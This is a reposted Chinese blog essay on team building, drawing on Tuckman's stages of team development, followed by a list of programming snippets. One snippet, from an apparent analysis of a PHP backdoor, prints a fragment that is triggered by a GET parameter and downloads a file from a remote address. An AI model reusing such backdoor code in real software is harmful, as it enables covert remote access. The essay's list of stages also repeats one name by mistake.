如何快速融入团队(四)

作者:邹溪源,长沙资深互联网从业者,架构师社区特邀嘉宾!

01

不知不觉这个系列已经开始第四篇的,其实我的原始意图只是思考一下如果有幸加入一个新团队,我们在思想和行动上该做哪些准备呢。不过随着内容的逐渐发散,已经衍生成为“如何从加入团队”到思考“如何让团队易于使人加入”的问题。

这其实首先是个组织建设的问题,表现出来就是“使命”、“愿景”、“价值观”、“企业文化”、“企业基因”、“江湖规矩”,其次就是一个团队建设的问题。

02

团队建设,其实无处不在,他在每一天无时无刻都在开展,如果说企业文化建设是构建企业赖以为生的精神食粮,那么团队建设就是为了增强体魄。团队建设好不好,并非是某些部门的事、也并非领导个人的事,实际上是大家都在参与的事情。一支拥有战斗力的团队,并非仅仅惠及领导或企业,实际上也在惠及团队中参与的每个人。

从某种意义上讲,团队建设的目的,并非仅仅是为了构建团队,更是为了让团队中的每个人都能在所谓“建设”中得到成长。华为致力于打造狼性的团队文化,显然不仅仅是为了商业层面的战斗力提升,而是通过让狼性的团队文化深入到团队每一个人的灵魂中,让团队中的每个人都成为值得彼此信赖的人,并最终实现了企业在商业层面的巨大成功。当然,华为人同样也有离职或跳槽的,当他们离开华为,前往其他公司时,也把从华为汲取到的宝贵财富带动了其他团队,进而促进了其他团队的进一步发展。这恰好说明,团队建设的目的,并非是为了建设一个单个团队,而是先建设好个人,其次才能建设好团队。

“三人行,必有我师焉”,我们曾经一度以为,学习是从课堂中学习开始、再学习我们的长辈、学习我们的主管领导、或者学习我们的老板,其实并非如此,学习是发生在每一瞬间,是人类有别于其他生物的一种本能,我们无时无刻不在学习,而在企业中共处时,我们的学习行为也本身就是团队建设的一部分。团队中的每个人,都能成为我们值得学习的一部分,也许他们在某些点上看不出优点,但是往往在其他点上散发出灼热的光芒。

每个人并非生来就是完美的人,而是经过数十年的成长,在日常生活、人际交往、职场中吸取到我们身边其他人身上的优点,然后用其他人的优点构成自己的优点和灵魂,并最终趋于个体健全。同时,我们也把自己的优点投影到其他人的世界中,也在促进其他人的成长。

事实上团队不仅仅是公司的一个部门,我们的一个社区、家庭、或者一个关系融洽的小组织,其实都是一个团队。而当我们加入这一的小组织时,团队建设就已经开始了,我们的一言一行,既对别人产生了影响,而别人的一言一行,也同样对我们产生了影响。

有时每个人都期待与最优秀的人为伍,总觉得那些优秀的人一定无时无刻都在散发着主角的光辉,我们只需从他们散发的光辉中,汲取那么一点点就足以使我们成为一个优秀的个体。其实往往我们应该相信,我们所加入的每个团队其实都是优秀的团队,我们自身每个人都是优秀的个体,只需采取适当的引导措施,都能创造出足够优秀的成绩。

03

布鲁斯·塔克曼将团队建设的过程划分为五个阶段,虽然这个理论已经诞生已经快50年了,但是迄今依然散发着蓊郁的芬芳,可以称为团队建设领域的一块丰碑。他将团队建设划分为“形成期”、“震荡期”、“稳定期”、“规范期”、“稳定期”,他认为每个阶段都是必须、不可逾越的,每个团队的组建过程往往都必须经过这五个阶段。

当然,塔克曼的团队发展阶段理论主要使用于小型团队,但在本文中主要借用来形容一个团队的发展阶段,并非本文的主要内容。

形成期

团队初步建立,人员刚刚加入、或有新的人员加入,还需要对彼此进行认识,了解团队和组织的文化,逐步建立起团队基本的信任过程。在这个阶段人员间往往会比较独立,无法开诚布公的交流问题。团队存在焦虑心理,对团队的发展比较迷茫、甚至不稳定。

震荡期

初步形成了各种观念,并逐步的认识彼此,但是会存在震荡和观点上的碰撞,甚至由于某些技术性的观点会产生一定的冲突。而冲突实际上是说明团队间已经开始寻找彼此沟通的方式,并逐步的适应对方。

规范期

形成了团队的沟通方式和团队文化,团队成员都逐步认识自己在团队中所能承担的角色,并能够为了完成一致的目标而做出自己的努力,在这个阶段彼此间能够流畅自如的进行沟通和任务的执行,并能表现出所具有的一定的自治性。

稳定期

团队运作如同一个整体,彼此沟通融洽,团队能量凝聚一起,彼此间形成的团队能力能够顺利的对任务进行解读并完成目标,同时团队由于已经建立了基本的沟通规则,在一般的事务性问题上已经能够非常独立自治的解决问题。这也是一个战斗力强的团队所具有的基本形态。事实上如果在这个阶段再引入新来的成员,也将重新尽力从形成期开始的阶段。

解散期

又称为“休整期”,任务完成后,团队即将解散,彼此非常珍惜过去来之不易的相处时光,也难免产生失落感。一部分成员将离开团队,团队的战斗力将造成一定的影响,成员对于未来的不确定性将开始逐步占上风。

04

某种意义上上讲,一个团队的形成,有时候像“三个和尚挑水喝”的古老谚语,毋庸置疑,人越少越容易团结、越容易管理、也容易形成自己的团队文化,而团队规模的逐渐增长,也看似会引发这样或那样的问题。尤其是中国人的典型特点,也曾经是在个体时往往具备非常不错的单兵作战能力,但是以集体的形式,会比较难以磨合。

尤其是如果奢望在一个团队中,都是一群优秀的人,其实不太现实,过于优秀的单兵能力凝聚起来,就像是三体星一样,能够维持短期的稳定,却也暗含着不稳定。

而且有时候又渴望通过一定的控制力来维系团队的平衡,其实不见得能产生很好的效果,在一个看似稳定的组织中,引入一些强有力的措施,有时或许会产生下面的效果:

即在一个稳定的平面空间中,引入了一个重量级的“太阳”,自然而然会对空间和时间产生扭曲力,从而破坏原来平等的局面。

当然,有时候引入“太阳”是必要的。

03

团队建设者不应该奢求依托强大的“组织机器”的力量来维系组织的平衡,有时候团队建设更是应该使用“上善若水”的精神,用如水般柔和的力量为团队间营造一种积极交流、互相倾听的文化,让彼此间能够成为对方的信赖。

例如2019年听闻的“滴滴”北京团队组团游野长城,结果被困的消息,大概体现了团队建设者操之过急的团队建设心态吧。

而同样作为团队建设者的我曾经在组织中实践过一种这样的方法,由于我们小团队的人员来源于不同的公司,年龄也有不同,(30岁居多),所以我试图利用每天给大家倒开水泡枸杞这个小细节来建立起团队基本的沟通方式,除此之外,也建立了一系列操作手法,使得不同经验的人都能够在团队中把自己的有点表现出来,从而使得团队间易于破冰,并打造出了一个具有战斗力的小团队。

团队建设不拘泥于形式,每一个细节其实都可以表现出来。每天上班的一声问候、饭局上的互相寒暄,有意无意的引导,以及适度的积极倾听,把团队的每个人都当做你的家庭成员,可以用的方法太多了。

不要再动不动就选择吃饭了。。多俗气啊~

长按订阅更多精彩▼如有收获,点个在看,诚挚感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/312264.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++vector容器-互换容器

vector容器互换 功能描述&#xff1a; 实现两个容器内元素进行互换 函数原型&#xff1a; swap(vec);//将vec与本身的元素互换 1.基本使用 代码如下: #include <iostream> using namespace std; //vector容器互换 #include <vector> //1.基本使用void printVect…

java计算字符串中字符出现的次数_java – 计算字符串中字符出现次数

参见英文答案 > Java compressing Strings 18个我正在尝试编写一个Java程序,它接受一个字符串作为输入,并计算一个字符串中出现的字符数,然后打印一个新字符串,该字符串后跟no出现的字符.例如.输入字符串&#xff1a;aaaabb输出字符串&a…

.NET 状态机Automatonymous快速入门

介绍 Automatonymous是.NET开发人员的状态机库。它提供了一种流畅的语法来声明状态机&#xff0c;包括状态&#xff0c;事件&#xff08;支持触发器和数据事件&#xff09;以及状态/事件活动。尽管Automatonymous在简单的状态机上非常容易使用&#xff0c;但它具有许多高级功能…

C++vector容器-预留空间

vector预留空间 功能描述&#xff1a; 减少vector在多态扩展容量时的扩展次数 函数原型&#xff1a; reserve(int len);//容器预留len个元素长度&#xff0c;预留位置不初始化&#xff0c;元素不可访问。 当我们往vector容器中push_back大量的数&#xff0c;vector就会开辟多…

BeetleX实现HTTP协议详解

在传统网络服务中扩展中需要处理Bytes来进行协议的读写&#xff0c;这种原始的处理方式让工作变得相当繁琐复杂&#xff0c;出错和调试的工作量都非常大&#xff1b;组件为了解决这一问题引用Stream读写方式&#xff0c;这种方式可以极大的简化网络协议读写的工作量&#xff0c…

erlang rebar 配置mysql_Erlang Rebar 使用指南之四:依赖管理

Erlang Rebar 使用指南之四&#xff1a;依赖管理全文目录&#xff1a;本章链接&#xff1a;1 rebar依赖定义Rebar取得和构建符合OTP/Rebar规范的项目。如果项目包含子项目&#xff0c;Rebar会自动递归地构建它们。项目的依赖在project_dir/rebar.config中定义&#xff0c;形式如…

euclidea4攻略_Euclidea几何构建11.4通关攻略

Euclidea几何构建10.2通关攻略Euclidea游戏10.2怎么过&#xff1f;下面小编为大家带来Euclidea几何构建10.2通关攻略&#xff1a;更多攻略不断更新中——Euclidea游戏全关卡通关攻略大全分两次做图第一次&#xff0c;画圆就成了&#xff0c;具体看图应该能懂。第二次&#xff0…

C++set容器-构造和赋值

set基本概念 简介&#xff1a; 所有元素都会自动在插入时自动被排序&#xff0c;set容器也叫集合容器 本质&#xff1a; set/multiset属于关联式容器&#xff0c;底层结构是用二叉树排序 set和multiset区别&#xff1a; 1.set不允许容器中有重复的元素 2.multiset允许容器中有…

(1)解锁MongoDB replica set核心姿势

本文倒腾目前大热的MongoDB Replica Set集群&#xff0c;在倒腾的同时串讲一些 MongoDB特性。 副本集Replica Set是一个术语&#xff0c;定义具有多节点的数据库集群&#xff0c;这些节点具有主从复制(master-slave replication) 且节点之间实现了自动故障转移。 这样的结构通常…

java写dnf外掛_dnf卡盟_Java的泛型详解(一)

Java实现DDD中UnitOfWorkdnf卡盟Java的泛型详解泛型的利益编写的代码可以被差别类型的工具所重用。由于上面的一个优点&#xff0c;泛型也可以削减代码的编写。泛型的使用简朴泛型类public class Pair {private T first;private T second;public Pair() {first null;second n…

C++set容器-大小和交换

set大小和交换 功能描述&#xff1a; 统计set容器大小以及交换set容器 函数原型&#xff1a; 代码如下&#xff1a; #include <iostream> using namespace std; #include <set> //set容器 大小和容器void printSet(set<int > &s) {for (set<int …

Asp.Net Core下的开源任务调度平台ScheduleMaster—快速上手

概述ScheduleMaster是一个开源的分布式任务调度系统&#xff0c;它基于Asp.Net Core平台构建&#xff0c;支持跨平台多节点部署运行。它的项目主页在这里&#xff1a;https://github.com/hey-hoho/ScheduleMasterCore关于它的简单介绍可以看这里&#xff1a;https://www.cnblog…

PHP数组加表格_php数组输出html表格的操作方法

class xtable{?private $tit,$arr,$fons,$sextra;?public function __construct()?{??$this->titarray();???????// strings with titles for first row??$this->arrarray();???????// data to show on cells??$this->fonsarray("#EEEEEE…

C++set容器-插入和删除

set插入和删除 功能描述&#xff1a; set容器进行插入数据和删除数据 函数原型&#xff1a; 代码如下&#xff1a; #include <iostream> using namespace std; #include <set>void printSet(set<int > &s) {for (set<int >::iterator it s.be…

基于Jenkins的持续交付全流程设计与实践

1 从理论开始什么是DevOps?近年来&#xff0c;随着DevOps理念的逐渐深入人心&#xff0c;企业逐渐意识到从看似重复的手工劳动中实现自动化流程处理&#xff0c;对于提高企业劳动生产力已经非常重要&#xff0c;尤其是面向互联网的开发者&#xff0c;往往每次上线时&#xff0…

C++set容器-查找和统计

set查找和统计 功能描述&#xff1a; 对set容器进行查找数据以及统计数据 函数原型&#xff1a; 代码如下: #include <iostream> using namespace std; #include <set>//set查找和统计void test01() {//查找set<int >s1;//插入数据s1.insert(10);s1.inse…

Beetlex之redis驱动

BeetleX.RedisBeetleX.Redis是基于BeetleX扩展的Redis操作库&#xff0c;全异步操作模式和基于字符缓存策略优化可以提供出色的Redis访问性能&#xff1b;支持SSL&#xff0c;支持读写分离和故障切换&#xff1b;默认多数据格式支持&#xff0c;默认提供json,protobuf和message…

php 后门代码_分析一段PHP的后门代码,很恶心

[PHP] 纯文本查看 复制代码if($_GET[ac]"ok"){ echo OK;function downFile($url,$path){$arrparse_url($url);$fileNamebasename($arr[path]);$filefile_get_contents($url);}downFile("这里是网络下载地址&#xff0c;防止小人&#xff0c;直接删除这里的连接&…

C++set和multiset区别

区别&#xff1a; 代码如下&#xff1a; #include <iostream> using namespace std; #include <set>//set容器 和multiset容器的区别 void test01() {set<int >s;pair<set<int >::iterator, bool> ret s.insert(10);if (ret.second) {cout &…

.NET CORE(C#) WPF简单菜单MVVM绑定

阅读导航 本文背景 代码实现 本文参考 源码 1. 本文背景 WPF中垂直导航菜单大家应该都常用&#xff0c;本文介绍使用MVVM的方式怎么绑定菜单&#xff0c;真的很简单。 2. 代码实现 使用 .Net Core 3.1 创建名为 “MenuMVVM” 的WPF模板项目&#xff0c;添加两个Nuget库&…